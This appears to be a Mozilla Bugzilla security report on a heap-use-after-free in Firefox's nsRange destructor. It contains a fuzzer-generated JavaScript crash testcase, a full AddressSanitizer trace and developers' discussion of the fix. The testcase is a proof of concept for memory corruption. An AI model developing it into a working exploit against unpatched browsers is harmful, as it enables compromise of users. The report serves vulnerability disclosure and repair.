heap-use-after-free in nsRange::~nsRange
Categories
(Core :: DOM: Selection, defect)
Tracking
()
Tracking | Status | |
---|---|---|
firefox-esr52 | --- | unaffected |
firefox55 | --- | unaffected |
firefox56 | --- | unaffected |
firefox57 | + | fixed |
firefox58 | + | fixed |
People
(Reporter: nils, Assigned: catalinb)
References
Details
(5 keywords)
Attachments
(5 files, 5 obsolete files)
22.21 KB,
text/plain
|
Details | |
752 bytes,
text/html
|
Details | |
14 bytes,
text/html
|
Details | |
358 bytes,
text/html
|
Details | |
1.23 KB,
patch
|
Sylvestre
:
approval-mozilla-beta+
abillings
:
sec-approval+
|
Details | Diff | Splinter Review |
The following testcase crashes the latest ASAN build of Firefox (BuildID=20170910080726). It requires the attached div.html in the same directory and the fuzzPriv extension installed. <script> function start() { setInterval('fuzzPriv.GC();fuzzPriv.CC()',4); o0=open('div.html','popup74','height=2'); o0.onload=fun1; setTimeout(fun0, 40); } function fun0() { o3=this; fuzzPriv.trustedKeyEvent(document.documentElement,'press',true,false,false,false,0,65); o42=document.createRange(); o43=o3.getSelection(); o52=o43.getRangeAt(0); o153=o0.getSelection(); o158=document.createElement('input'); setTimeout(fun2, 4); } function fun1(e) { o93=e.target; o105=o93.getElementsByTagName('*')[3]; o52.setEndBefore(o105); o42.setEndBefore(o105); o153.addRange(o42); o42.insertNode(o158); o153.addRange(o52); } function fun2() { o0.close(); window.setTimeout("location.reload();",10); } </script> <body onload="start()"></body> ASAN output: ================================================================= ==14613==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030002d1578 at pc 0x7faa7aa53394 bp 0x7fff3ff72c10 sp 0x7fff3ff72c08 WRITE of size 8 at 0x6030002d1578 thread T0 (file:// Content) #0 0x7faa7aa53393 in remove /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/LinkedList.h:246:18 #1 0x7faa7aa53393 in ~LinkedListElement /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/LinkedList.h:198 #2 0x7faa7aa53393 in nsRange::~nsRange() /builds/worker/workspace/build/src/dom/base/nsRange.cpp:259 #3 0x7faa7aa533bd in nsRange::~nsRange() /builds/worker/workspace/build/src/dom/base/nsRange.cpp:254:1 #4 0x7faa77c21047 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2695:25 #5 0x7faa77c2870b in FreeSnowWhite /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2883:3 #6 0x7faa77c2870b in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3899 #7 0x7faa77c27c23 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3720:9 #8 0x7faa77c2ba70 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4289:21 #9 0x7faa7a9fe66d in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1480:3 #10 0x7faa7a53e28b in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1434:3 #11 0x7faa77db1c91 in NS_InvokeByIndex /builds/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:129 #12 0x7faa7956e7a0 in Invoke /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1996:12 #13 0x7faa7956e7a0 in Call /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1315 #14 0x7faa7956e7a0 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1282 #15 0x7faa7957576f in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:928:12 #16 0x7faa82a70a54 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #17 0x7faa82a70a54 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #18 0x7faa82a5a2c9 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #19 0x7faa82a5a2c9 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #20 0x7faa82a4182b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 #21 0x7faa82a70bec in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:513:15 #22 0x7faa82a71542 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10 #23 0x7faa834c2ad3 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2906:12 #24 0x7faa7948c7cb in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:315:18 #25 0x7faa82a70a54 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #26 0x7faa82a70a54 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #27 0x7faa82a5a2c9 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #28 0x7faa82a5a2c9 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #29 0x7faa82a4182b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 #30 0x7faa82a73367 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:724:15 #31 0x7faa82a73bd2 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:756:12 #32 0x7faa834d5dc9 in ExecuteScript(JSContext*, JS::AutoObjectVector&, JS::Handle<JSScript*>, JS::Value*) /builds/worker/workspace/build/src/js/src/jsapi.cpp:4667:12 #33 0x7faa7aa134a9 in nsJSUtils::ExecutionContext::CompileAndExec(JS::CompileOptions&, JS::SourceBufferHolder&, JS::MutableHandle<JSScript*>) /builds/worker/workspace/build/src/dom/base/nsJSUtils.cpp:265:8 #34 0x7faa7aa13a06 in nsJSUtils::ExecutionContext::CompileAndExec(JS::CompileOptions&, nsTSubstring<char16_t> const&) /builds/worker/workspace/build/src/dom/base/nsJSUtils.cpp:287:10 #35 0x7faa7a609158 in nsGlobalWindow::RunTimeoutHandler(mozilla::dom::Timeout*, nsIScriptContext*) /builds/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:13241:19 #36 0x7faa7a7e1f74 in mozilla::dom::TimeoutManager::RunTimeout(mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/worker/workspace/build/src/dom/base/TimeoutManager.cpp:878:42 #37 0x7faa7a7d6e70 in mozilla::dom::TimeoutExecutor::MaybeExecute() /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:167:11 #38 0x7faa7a7d7642 in mozilla::dom::TimeoutExecutor::Run() /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:224:5 #39 0x7faa77d9d4dc in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:193:22 #40 0x7faa77d9cf9f in mozilla::ThrottledEventQueue::Inner::Executor::Run() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:79:15 #41 0x7faa77d61e10 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25 #42 0x7faa77d88dcd in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1039:14 #43 0x7faa77d8eaf8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10 #44 0x7faa78b32b21 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #45 0x7faa78a9386b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #46 0x7faa78a9386b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #47 0x7faa78a9386b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #48 0x7faa7e24ba5f in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #49 0x7faa8258cb47 in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:866:22 #50 0x7faa78a9386b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #51 0x7faa78a9386b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #52 0x7faa78a9386b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #53 0x7faa8258c5b0 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:691:34 #54 0x4eb873 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30 #55 0x4eb873 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285 #56 0x7faa953c482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #57 0x41d1c8 in _start (/fuzzer3/firefox/firefox+0x41d1c8) 0x6030002d1578 is located 8 bytes inside of 24-byte region [0x6030002d1570,0x6030002d1588) freed by thread T0 (file:// Content) here: #0 0x4bb6fb in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3 #1 0x7faa7a9dc569 in operator delete /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:230:12 #2 0x7faa7a9dc569 in operator() /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:528 #3 0x7faa7a9dc569 in reset /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:343 #4 0x7faa7a9dc569 in ~UniquePtr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:288 #5 0x7faa7a9dc569 in nsINode::nsSlots::~nsSlots() /builds/worker/workspace/build/src/dom/base/nsINode.cpp:135 #6 0x7faa7a70832d in mozilla::dom::FragmentOrElement::nsDOMSlots::~nsDOMSlots() /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:761:1 #7 0x7faa7aa38337 in nsNodeUtils::LastRelease(nsINode*) /builds/worker/workspace/build/src/dom/base/nsNodeUtils.cpp:313:5 #8 0x7faa7a6c4722 in mozilla::dom::FragmentOrElement::Release() /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:2221:1 #9 0x7faa7a7236ea in ~nsCOMPtr_base /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:313:7 #10 0x7faa7a7236ea in ContentUnbinder::UnbindSubtree(nsIContent*) /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:1492 #11 0x7faa7a722ff7 in ContentUnbinder::Run() /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:1502:9 #12 0x7faa7a70ea85 in UnbindAll /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:1526:11 #13 0x7faa7a70ea85 in mozilla::dom::FragmentOrElement::ClearContentUnbinder() /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:1560 #14 0x7faa7a81f2b9 in nsCCUncollectableMarker::Observe(nsISupports*, char const*, char16_t const*) /builds/worker/workspace/build/src/dom/base/nsCCUncollectableMarker.cpp:361:5 #15 0x7faa77c90b1c in nsObserverList::NotifyObservers(nsISupports*, char const*, char16_t const*) /builds/worker/workspace/build/src/xpcom/ds/nsObserverList.cpp:112:19 #16 0x7faa77c94468 in nsObserverService::NotifyObservers(nsISupports*, char const*, char16_t const*) /builds/worker/workspace/build/src/xpcom/ds/nsObserverService.cpp:296:19 #17 0x7faa794fbb64 in XPCJSRuntime::BeginCycleCollectionCallback() /builds/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:700:14 #18 0x7faa77c28191 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3863:19 #19 0x7faa77c27c23 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3720:9 #20 0x7faa77c2ba70 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4289:21 #21 0x7faa7a9fe66d in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1480:3 #22 0x7faa7a53e28b in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1434:3 #23 0x7faa77db1c91 in NS_InvokeByIndex /builds/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:129 #24 0x7faa7956e7a0 in Invoke /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1996:12 #25 0x7faa7956e7a0 in Call /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1315 #26 0x7faa7956e7a0 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1282 #27 0x7faa7957576f in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:928:12 #28 0x7faa82a70a54 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #29 0x7faa82a70a54 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #30 0x7faa82a5a2c9 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #31 0x7faa82a5a2c9 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #32 0x7faa82a4182b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 #33 0x7faa82a70bec in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:513:15 #34 0x7faa82a71542 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10 #35 0x7faa834c2ad3 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2906:12 #36 0x7faa7948c7cb in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:315:18 #37 0x7faa82a70a54 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #38 0x7faa82a70a54 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #39 0x7faa82a5a2c9 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #40 0x7faa82a5a2c9 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #41 0x7faa82a4182b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 previously allocated by thread T0 (file:// Content) here: #0 0x4bba4c in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3 #1 0x4ecf6d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:84:17 #2 0x7faa7aa5722f in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:206:12 #3 0x7faa7aa5722f in MakeUnique<mozilla::LinkedList<nsRange>> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:680 #4 0x7faa7aa5722f in nsRange::RegisterCommonAncestor(nsINode*) /builds/worker/workspace/build/src/dom/base/nsRange.cpp:423 #5 0x7faa7aa55587 in nsRange::DoSetRange(nsRange::RangeBoundaryBase<nsINode*, nsIContent*> const&, nsRange::RangeBoundaryBase<nsINode*, nsIContent*> const&, nsINode*, bool) /builds/worker/workspace/build/src/dom/base/nsRange.cpp:999:9 #6 0x7faa7aa6471c in DoSetRange /builds/worker/workspace/build/src/dom/base/nsRange.h:661:5 #7 0x7faa7aa6471c in nsRange::SetEnd(nsINode*, unsigned int) /builds/worker/workspace/build/src/dom/base/nsRange.cpp:1479 #8 0x7faa7aa65768 in nsRange::SetEndBefore(nsINode&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsRange.cpp:1598:9 #9 0x7faa7aa654a8 in nsRange::SetEndBeforeJS(nsINode&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsRange.cpp:1580:3 #10 0x7faa7b3d2e05 in mozilla::dom::RangeBinding::setEndBefore(JSContext*, JS::Handle<JSObject*>, nsRange*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/RangeBinding.cpp:647:9 #11 0x7faa7c40da50 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3050:13 #12 0x7faa82a70a54 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #13 0x7faa82a70a54 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #14 0x7faa82a5a2c9 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #15 0x7faa82a5a2c9 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #16 0x7faa82a4182b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 #17 0x7faa82a70bec in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:513:15 #18 0x7faa82a71542 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10 #19 0x7faa83777dfe in js::ForwardingProxyHandler::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:175:12 #20 0x7faa8373aa39 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:359:23 #21 0x7faa83757e53 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:497:21 #22 0x7faa8375a817 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:757:12 #23 0x7faa82a70e9c in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #24 0x7faa82a70e9c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477 #25 0x7faa82a71542 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10 #26 0x7faa834c495b in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2965:12 #27 0x7faa7be44be5 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37 #28 0x7faa7c8157d5 in Call<nsISupports *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12 #29 0x7faa7c8157d5 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215 #30 0x7faa7c7deda9 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1112:51 #31 0x7faa7c7e0e70 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1283:20 #32 0x7faa7c7c0c61 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:462:16 #33 0x7faa7c7c4132 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:822:9 #34 0x7faa7ea9508e in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1081:7 #35 0x7faa81a397e1 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7741:21 #36 0x7faa81a35804 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7539:7 SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/LinkedList.h:246:18 in remove Shadow bytes around the buggy address: 0x0c0680052250: fd fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa 0x0c0680052260: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fa 0x0c0680052270: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd 0x0c0680052280: fd fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa 0x0c0680052290: fd fd fd fa fa fa fd fd fd fd fa fa fd fd fd fa =>0x0c06800522a0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd[fd] 0x0c06800522b0: fd fa fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c06800522c0: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fa 0x0c06800522d0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd 0x0c06800522e0: fd fa fa fa fd fd fd fa fa fa fd fd fd fd fa fa 0x0c06800522f0: fd fd fd fa fa fa fd fd fd fd fa fa fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==14613==ABORTING
Updated•7 years ago
|
Comment 4•7 years ago
|
||
Catalin, please take a look here. Mats can probably help if you aren't getting anywhere.
Assignee | ||
Comment 5•7 years ago
|
||
I think the problem is that we don't remove the range from its current selection before adding it to a new one.
Assignee | ||
Comment 6•7 years ago
|
||
Assignee | ||
Comment 7•7 years ago
|
||
Simpler version that triggers an assert in nsRange::SetSelection. http://searchfox.org/mozilla-central/rev/2c9a5993ac40ec1db8450e3e0a85702fa291b9e2/dom/base/nsRange.cpp#1055
Comment 8•7 years ago
|
||
Comment on attachment 8908687 [details] [diff] [review] Avoid adding the same range to multiple selections. I think the invariant in the assertion here is valid. Having both a non-null aSelection and mSelection is a sign that something did go wrong earlier. We could take this patch as a kind of wallpaper (with an assertion added back before the RemoveRange call), but I'd prefer fixing the underlying bug first. When the assertion fails in nsRange::SetSelection, we have: (rr) p this->mSelection->HasSameRoot(*this->GetStartContainer()) $1 = false That isn't a valid state. It appears we get into this state by first adding a valid Range to a Selection, then call nsRange::SetEnd with a node from a different document. We should reject such calls IMO (probably silently, since that's what we do in Selection::Collapse in the same situation). So I think we need to add an additional test in all places we call IsValidBoundary() in nsRange code, with something like this: if (IsInSelection() && !mSelection->HasSameRoot(aNode)) { return NS_OK; // aNode is not a valid boundary node for this Range } (or modify IsValidBoundary() itself to do this check)
Assignee | ||
Comment 9•7 years ago
|
||
(In reply to Mats Palmgren (:mats) from comment #8) > Comment on attachment 8908687 [details] [diff] [review] > Avoid adding the same range to multiple selections. > > I think the invariant in the assertion here is valid. > Having both a non-null aSelection and mSelection is a sign that > something did go wrong earlier. We could take this patch as > a kind of wallpaper (with an assertion added back before > the RemoveRange call), but I'd prefer fixing the underlying > bug first. It's much safer to enforce not being part of multiple selections here. By fixing the callers to pass the assertions we might miss some cases and end up having to fix this again. > > When the assertion fails in nsRange::SetSelection, we have: > (rr) p this->mSelection->HasSameRoot(*this->GetStartContainer()) > $1 = false > > That isn't a valid state. It appears we get into this state > by first adding a valid Range to a Selection, then call > nsRange::SetEnd with a node from a different document. > We should reject such calls IMO (probably silently, since > that's what we do in Selection::Collapse in the same situation). I also think we should reject positioning on a node from a different document when part of a selection. FWIW, Chrome does allow it. > > So I think we need to add an additional test in all places > we call IsValidBoundary() in nsRange code, with something > like this: > if (IsInSelection() && !mSelection->HasSameRoot(aNode)) { > return NS_OK; // aNode is not a valid boundary node for this Range > } > > (or modify IsValidBoundary() itself to do this check) I'll add the check to IsValidBoundary.
Assignee | ||
Comment 10•7 years ago
|
||
I think we should also take the catch-all fix from the previous patch.
Assignee | ||
Comment 11•7 years ago
|
||
Comment on attachment 8908687 [details] [diff] [review] Avoid adding the same range to multiple selections. Resubmitting this for review. This is safer than expecting the debug assert to reveal all potential bugs.
Comment 12•7 years ago
|
||
Comment on attachment 8908687 [details] [diff] [review] Avoid adding the same range to multiple selections. (In reply to Cătălin Badea (:catalinb) from comment #10) > I think we should also take the catch-all fix from the previous patch. I agree, but I think we should treat this as safety fallback, because if the assertion fails then we very likely have a bug further up the call chain that we want to fix. We don't want to silently accept calls that fails that invariant. >- // At least one of aSelection and mSelection must be null >- // aSelection will be null when we are removing from a selection >- // and a range can't be in more than one selection at a time, >- // thus mSelection must be null too. Please keep this comment, and keep the MOZ_ASSERT right after it. >+ // Remove this range from the current selection before adding it to another. >+ if (aSelection && mSelection) { >+ mSelection->RemoveRange(this); >+ } Please change the comment to say it's a wallpaper, e.g.: // This is a wallpaper in case our caller failed to ensure the above invariant. r=mats with those changes
Comment 13•7 years ago
|
||
